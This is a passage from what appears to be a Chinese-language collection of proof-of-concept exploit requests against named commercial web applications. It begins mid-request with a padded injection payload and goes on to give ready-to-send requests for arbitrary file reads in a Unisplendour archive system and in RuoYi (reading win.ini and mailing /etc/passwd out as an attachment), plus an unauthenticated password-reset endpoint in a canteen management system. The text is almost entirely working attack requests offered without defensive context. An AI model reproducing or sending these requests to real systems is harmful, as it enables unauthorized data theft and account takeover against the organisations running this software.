Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ecology_JSessionId=abc49y8JvMcoqhSkCv02w; testBanCookie=testConnection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 2236
Upgrade-Insecure-Requests: 1

formids=11111111111)))%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0d%0a%0
```

紫光System WorkFlow download任意文件读取

poc

```
POST /System/WorkFlow/download.html?path=C:\Windows\win.ini HTTP/1.1
Accept-Encoding: gzip, deflate
```

```
--vow8ojiofbpypwih3t3i
Content-Disposition: form-data; name="userID"

admin
--vow8ojiofbpypwih3t3i
Content-Disposition: form-data; name="fondsid"

1
--vow8ojiofbpypwih3t3i
Content-Disposition: form-data; name="comid"

1
--vow8ojiofbpypwih3t3i
Content-Disposition: form-data; name="token"

5117e82385cef4c12547fdd4c028b97a1-1
--vow8ojiofbpypwih3t3i--
```

若依任意文件读取

poc

```
 /demo/mail/sendMessageWithAttachment?to=xxxxxx@163.com&subject=Test-
Mail&text=This%20is%20a%20test%20message&filePath=/etc/passwd
```

雄伟科技智慧食堂系统任意用户密码重置

poc

```
 /Account/ForgetPasswordJson
```